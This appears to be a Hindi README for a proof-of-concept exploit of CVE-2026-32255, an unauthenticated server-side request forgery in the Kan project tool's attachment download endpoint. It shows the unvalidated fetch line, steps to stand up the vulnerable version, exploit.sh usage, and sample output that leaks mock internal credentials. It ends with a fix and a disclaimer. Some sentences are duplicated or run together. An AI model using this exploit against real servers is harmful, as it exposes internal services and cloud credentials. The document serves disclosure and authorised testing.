
यह रिपॉजिटरी CVE-2026-32255 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (POC) शामिल करता है, जो Kan में एक उच्च-गंभीरता वाली सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता है, जो एक ओपन-सोर्स प्रोजेक्ट प्रबंधन टूल है।
इस रिपॉजिटरी में Kan के लिए CVE-2026-32255 का प्रूफ ऑफ कॉन्सेप्ट (POC) शामिल है, जो एक उच्च-गंभीरता वाली सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता है, जो एक ओपन-सोर्स प्रोजेक्ट मैनेजमेंट टूल है।
कमजोर एंडपॉइंट अनप्रमाणित हमलावरों को सर्वर से मनमाने HTTP अनुरोध करने और पूर्ण प्रतिक्रिया पढ़ने की अनुमति देता है, जिससे आंतरिक सेवाओं और क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुंच संभव हो जाती है।
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nफ़ाइल apps/web/src/pages/api/download/attatchment.ts एक GET /api/download/attatchment एंडपॉइंट उजागर करती है जो S3 स्टोरेज से अटैचमेंट डाउनलोड को प्रॉक्सी करने के लिए है। एंडपॉइंट उपयोगकर्ता-नियंत्रित url क्वेरी पैरामीटर स्वीकार करता है और इसे बिना किसी सत्यापन या प्रमाणीकरण के सीधे सर्वर-साइड fetch() में पास करता है:
const upstream = await fetch(url); // no validation on `url`
एक हमलावर कोई भी URL प्रदान कर सकता है, जिससे सर्वर उस गंतव्य पर HTTP अनुरोध करता है और पूर्ण प्रतिक्रिया बॉडी क्लाइंट को लौटाता है। यह एक फुल-रीड SSRF है (ब्लाइंड नहीं), जिसका अर्थ है कि हमलावर पूरी प्रतिक्रिया सामग्री पढ़ सकता है।
http://169.254.169.254/)Kan v0.5.4 (अंतिम कमजोर संस्करण) को क्लोन और चलाएं:
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
आवश्यक पर्यावरण चर कॉन्फ़िगर करें:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
नोट: यदि आपको
dokploy-networkके बारे में त्रुटि मिलती है, तोdocker-compose.ymlसेdokploy-networkसंदर्भ हटाएं (पंक्तियाँ 9, 130-131) औरdocker compose up -dफिर से चलाएं। यह नेटवर्क स्थानीय रूप से आवश्यक नहीं है।
कंटेनर शुरू करें:
docker compose up -d
एप्लिकेशन http://localhost:3000 पर उपलब्ध होना चाहिए।
एक अलग टर्मिनल में, शामिल मॉक आंतरिक सेवा शुरू करें जो एक संवेदनशील आंतरिक API का अनुकरण करती है:
python3 internal-service.py
यह पोर्ट 8888 पर एक सर्वर शुरू करता है जो नकली क्रेडेंशियल लौटाता है, एक ऐसी सेवा का अनुकरण करता है जो केवल आंतरिक नेटवर्क से सुलभ होनी चाहिए। वास्तविक दुनिया के परिदृश्य में, यह सेवा फ़ायरवॉल के पीछे अलग होगी और बाहर से अप्राप्य होगी। SSRF हमलावर को सर्वर के माध्यम से उस तक पहुंचने की अनुमति देता है।
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <target-url> [internal-url]
<target-url>: Kan इंस्टेंस का बेस URL (जैसे, http://localhost:3000)[internal-url]: SSRF के माध्यम से प्राप्त करने के लिए आंतरिक URL (वैकल्पिक, Docker ब्रिज गेटवे से स्वतः पता लगाया जाता है)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Kan v0.5.5 या बाद के संस्करण में अपडेट करें, जो प्रॉक्सी करने से पहले कॉन्फ़िगर किए गए S3 एंडपॉइंट होस्टनाम के विरुद्ध url पैरामीटर को सत्यापित करता है।
यदि आप तुरंत अपडेट नहीं कर सकते हैं, तो अपने रिवर्स प्रॉक्सी स्तर पर कमजोर एंडपॉइंट तक बाहरी पहुंच को ब्लॉक करें।
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। इस टूल का उपयोग केवल उन सिस्टमों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
लेखक इस रिपॉजिटरी में प्रदान की गई जानकारी या टूल के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।
खोजकर्ता: kOaDT ([email protected])